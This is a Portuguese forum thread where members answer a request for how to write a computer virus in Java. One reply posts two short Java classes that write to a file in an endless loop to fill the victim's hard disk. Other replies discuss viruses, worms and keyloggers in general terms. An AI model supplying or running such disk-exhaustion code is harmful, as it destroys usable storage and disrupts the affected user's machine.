Alguem sabe como que faz um virus em java valeu!!!!!!!!!!!![]()
Alguem sabe como que faz um virus em java valeu!!!!!!!!!!!![]()
Enfim, dúvida bem genérica .. se puder explanar um pouco sua questão creio que ficará mais fácil de toda a comunidade te ajudar.
Ou postar o que tem em mente, seria bom analisar pra ver se Java é realmente a linguagem adequada ao que você quer implementar.
Abraços.
Última edição por M4CK; 12 Sep 2011 às 23:30.
Cara, é Bem Simples mais já vai ter uma ideia de como é utilize para estudo
Ação: Criar um arquivo no computador e enchelo com texto até lotar o HD!
Implemente ao Seu Criterio,
Para Ficar mais interessante Estude sobre Registros,FileReader,FileWriter e por ai vai...
HDFull.java
Código:/* # _____ _ # / ____| | | # | (___ _ _ ___| |_ _ __ _____ __ # \___ \| | | / __| __| '_ \ / _ \ \ /\ / / # ____) | |_| \__ \ |_| | | | (_) \ V V / # |_____/ \__, |___/\__|_| |_|\___/ \_/\_/ # __/ | # |___/ # Analise e Desenvolvimento de Sistemas. # FAVOR NAO REMOVER */ import java.io.FileWriter; import java.io.IOException; public class HDFull { String ArquivoFull; String ConteudoArquivo; boolean Option; public HDFull(String Conteudo, String Arquivo, boolean Acao) { this.ConteudoArquivo = Conteudo; this.ArquivoFull = Arquivo; this.Option = Acao; } public void Executa() throws IOException { FileWriter Es = new FileWriter(ArquivoFull, true); for (;;) { /*FOR INFINITO PARA ENCHER ARQUIVO*/ Es.write(ArquivoFull); } } }
Action.java
Código:/* # _____ _ # / ____| | | # | (___ _ _ ___| |_ _ __ _____ __ # \___ \| | | / __| __| '_ \ / _ \ \ /\ / / # ____) | |_| \__ \ |_| | | | (_) \ V V / # |_____/ \__, |___/\__|_| |_|\___/ \_/\_/ # __/ | # |___/ # Analise e Desenvolvimento de Sistemas. # FAVOR NAO REMOVER */ import java.io.IOException; public class Action { public static void main(String[] args) throws IOException { HDFull HDF = new HDFull("HDFULL", "Full.x", true); HDF.Executa(); } }
Boa Sorte com os Estudos !
Abraços!
fvox
Concordo que realmente não seja bom para desenvolvimento de vírus
mas... já ouvi casos de gringos ganhando fortunas com java desenvolvendo vírus Ex: Keylogger
Obs: você que tem muito mais experiencia que eu ! acha que a informação é verdadeira?
Olá,
Bem amigo é necessário antes de mais nada saber programar Java, entender a Orientação a Objeto, herança, polimorfismo, etc...
Java realmente não é bom para desenvolver "Vírus" pois além de rodar dentro de uma VM ela é mais limitada que as outras, mas se for desenvolver coisas simples como o código do nosso amigo systnow postou sem problemas.
Systnow, bem des que me conheço por gente eu realmente desconheço qualquer "vírus" escrito em Java!! Já vi alguns exemplos de Keyloggers simples, mas vírus mesmo nunca vi.
Então uma dica ao amigo thia procure outra linguagem para estudar isso, como C + Assembly
Abraços,
Att,
Marcelo Moraes.
o que é um vírus de computador? como o nome sugere é um programa malware como outro qualquer, podendo causar danos ou não, porém ele SEMPRE deve ter uma rotina crucial: se replicar em arquivos hospedeiros
há ainda a mistura de vírus e worms, pois além de se replicar, infectando arquivos de determinado tipo, disseminam-se de computador para computador através de várias ferramentas, como msn, orkut, e-mail, etc
eu acredito que sim, seja possível criar um vírus em Java, mas lamento dizer que ele ficará limitado a infectar .class ou .jar, o que, na minha opinião, seria um virus com efeitos tão sutis e sem utilidade que eu consideraria um trabalho de deficiente mental quem realmente os fizer e sair por aí espalhando
abraços
Última edição por _Guga_; 26 Mar 2012 às 12:14.
I must not fear. Fear is the mind killer.
Java não é aconselhado para se trabalhar com algo do tipo, mas é possível sim.
Lembre-se de que um vírus é um programa malicioso que possui duas caracteristicas básicas: infecção e auto-replicação (assim como os vírus biológicos).
Em outras palavras, qualquer programa escrito na linguagem java que seja capaz de desempenhar ambas as funções, pode ser denominado como vírus.
No momento estou sem tempo, mas eu vou postar mais ou menos uma idéia de como a gente pode fazer um.
sem tempestades... um virus em Java se limita a rodar enquanto a VM estiver ativa,
Ainda pode funfar em arquivos class ou Jar
mas vc pode compilar o bitecode p codigo de maquina, dai independe da VM pra rodar.. XD
mas, n é bom p isso...
So respondo se a consiencia perguntar!!!
Não Respondo MP's de perguntas, as faça em um tópico!
Perl User, Bioinformatcs Programmer!